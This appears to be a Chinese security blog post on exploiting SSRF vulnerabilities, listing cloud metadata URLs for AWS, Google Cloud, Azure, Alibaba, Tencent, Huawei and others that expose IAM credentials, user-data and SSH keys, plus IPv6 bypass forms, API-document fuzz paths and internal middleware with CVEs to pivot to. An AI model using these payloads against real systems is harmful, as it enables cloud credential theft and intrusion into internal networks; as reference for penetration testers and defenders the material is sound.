目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
979 字
5 分钟
SSRF利用方法
SSRF利用方法
前言
SSRF漏洞在互联网公司中应该是除了越权之外最普遍的漏洞了。关于漏洞的原理,绕过,传统的扫端口、各种探测等利用方式等就不再赘述。
0x01 Cloud Metadata
就是各种云上的元数据信息,有些可直接拿到主机权限,有些可获取一些敏感信息。
1.1 AWS
1http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories2http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy3http://169.254.169.254/latest/user-data4http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]5http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]6http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key7http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key8# ECS Task :9https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html10http://169.254.170.2/v2/credentials/1.2 Google Cloud
1https://cloud.google.com/compute/docs/metadata# - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" on API v12http://169.254.169.254/computeMetadata/v1/3http://metadata.google.internal/computeMetadata/v1/4http://metadata/computeMetadata/v1/5http://metadata.google.internal/computeMetadata/v1/instance/hostname6http://metadata.google.internal/computeMetadata/v1/instance/id7http://metadata.google.internal/computeMetadata/v1/project/project-id# kube-env; thanks to JackMc for the heads up on this (https://hackerone.com/reports/341876)8http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env# Google allows recursive pulls9http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true# returns root password for Google10http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json1.3 Digital Ocean
1https://developers.digitalocean.com/documentation/metadata/2http://169.254.169.254/metadata/v1.json3http://169.254.169.254/metadata/v1/4http://169.254.169.254/metadata/v1/id5http://169.254.169.254/metadata/v1/user-data6http://169.254.169.254/metadata/v1/hostname7http://169.254.169.254/metadata/v1/region8http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address1.4 Packetcloud
1https://metadata.packet.net/userdata1.5 Azure
1https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service# Header: "Metadata: true"# (Old)2https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/3http://169.254.169.254/metadata/instance?api-version=2017-04-024http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text1.6 Oracle Cloud
1https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm2http://169.254.169.254/opc/v1/instance/#3https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html4http://192.0.0.192/latest/5http://192.0.0.192/latest/user-data/6http://192.0.0.192/latest/meta-data/7http://192.0.0.192/latest/attributes/1.7 阿里云
1https://www.alibabacloud.com/help/faq-detail/49122.htm2http://100.100.100.200/latest/meta-data/3http://100.100.100.200/latest/meta-data/instance-id4http://100.100.100.200/latest/meta-data/image-id1.8 OpenStack
1https://docs.openstack.org/nova/latest/user/metadata-service.html2http://169.254.169.254/openstack3http://169.254.169.254/openstack/2012-08-10/meta_data.json4http://169.254.169.254/openstack/2018-08-27/network_data.json1.9 Kubernetes
1# Debug Services (https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/)2https://kubernetes.default.svc.cluster.local3https://kubernetes.default#4https://twitter.com/Random_Robbie/status/10722421823068323845https://kubernetes.default.svc/metrics1.10 腾讯云
1https://cloud.tencent.com/document/product/213/49342http://metadata.tencentyun.com/latest/meta-data/3http://169.254.0.23/latest/meta-data/4http://100.88.222.5/1.11 IPv6 Tests
大部分云主机都是支持IPv6的,所以绕过的时候可以尝试下
1http://[::ffff:169.254.169.254]2http://[0:0:0:0:0:ffff:169.254.169.254]1.12 华为云
1#2https://support.huaweicloud.com/usermanual-ecs/ecs_03_0166.html3http://169.254.169.254/openstack/latest/meta_data.json4http://169.254.169.254/openstack/latest/user_data5http://169.254.169.254/openstack/latest/network_data.json6http://169.254.169.254/openstack/latest/securitykey0x02 中间件
利用SSRF攻击传统的组件、CMS等的常用途径不再赘述,这里举一些在大部分互联网公司中常用的 能够被SSRF进一步利用的中间件。
2.1 Apollo
利用点:
-
未授权访问
https://github.com/apolloconfig/apollo/issues/2099 直接获取各种配置信息,各种账密、AK、数据库等
2.2 Erueka
利用点:
- 未授权访问
- Erueka未授权访问漏洞。通过内网Eruaka未授权,可获取到大量注册的应用,若运气好,直接可定位到核心组件和核心服务。
2.3 JumpServer
利用点:
- RCE:
- JumpServer远程代码执行漏洞。JumpServer的这个漏洞最开始基本上都是在Nginx层做的拦截,如果直接找到Jumpserver的后端端口,可直接尝试利用漏洞RCE。
2.4 Grafana
利用点:
- 文件读取
- CVE-2021-43798任意文件读取。内网的组件大多比较脆弱,直接读Grafana的DB文件,得到的基本上都是比较重要的DB账号密码。
2.5 K8s
利用点:
- 各种未授权访问
- 这个比较大,不一一说了,纯属看运气了。比如常见的:API Server / etcd / kubectl proxy / kubelet / Docker Remote API / dashboard等等等
2.6 大数据相关
利用点:
- 未授权访问
- 文件读取
- RCE
大数据生态组件也非常多,大多利用未授权访问、文件读取漏洞进行信息获取,部分可进行RCE。
2.7 SpringBoot Actuator
利用点:
- 未授权访问:
- 很多Actuator的端点拦截只是对外网而言,有些是在Nginx过滤了 或者在 filter设置的只允许内部网络访问,通过SSRF就可以直接未授权获取各种数据,直接下载heapdump获取数据。
- 文件读取:
- Logview CVE-2021-21234
- RCE:
- Gateway SPEL 代码注入 (CVE-2022-22947)
- 修改env端点属性
- eureka xstream deserialization
- SnakeYAML RCE
- Jolokia Realm JNDI RCE
- H2 RCE
2.8 内网业务应用
这里有个小技巧,先搞应用的API文档,大部分内网调用的服务很多都不做权限校验的,直接请求接口运气好的直接搞到核心数据
API文档的Fuzz URI
1doc.htmlswagger-ui.htmlswagger/swagger-ui.htmlapi/swagger-ui.htmlapi/doc.htmlswagger/index.htmldruid/index.htmlspring-security-rest/api/swagger-ui.htmlspring-security-oauth-resource/swagger-ui.htmlswagger/v1/swagger.jsonswagger/v2/swagger.jsonapi-docsv1/api-docsv2/api-docs...2.9 Confluence
利用点:
- SPEL RCE
- CVE-2021-26084 Remote Code Execution on Confluence Servers
2.10 Elasticsearch
利用点:
- 未授权访问:
- 运气好的直接搞到运维或中间件的ES
- 是应用ES的话找访问日志的索引和操作日志的索引
- 是运维ES的话找应用stdout/stderr/logback等的索引
- RCE:
- log4j(我不会告诉你 国内TOP3云厂商卖的ES服务还有log4j漏洞呢)
2.11 阿里Druid
利用点:
- 未授权访问
- 找URI
- 找Session
- 找SQL(往SQL注入靠)
2.12 Apache Druid
利用点:
- 未授权访问
- Dashboard
- 文件读取
- CVE-2021-36749 Apache Druid LoadData 任意文件读取
- RCE
- Apache Druid 远程代码执行漏洞(CVE-2021-26919)
- 结合未授权 Apache Druid 命令执行漏洞(CVE-2021-25646)
2.13 APISIX
利用点:
- 未授权访问
- CVE-2021-45232 APISIX Dashboard未授权访问漏洞
2.14 Jenkins
利用点:
- 未授权访问
- Groovy 脚本控制台 RCE
- RCE
- CVE-2018-1000861
- CVE-2019-1003000
部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录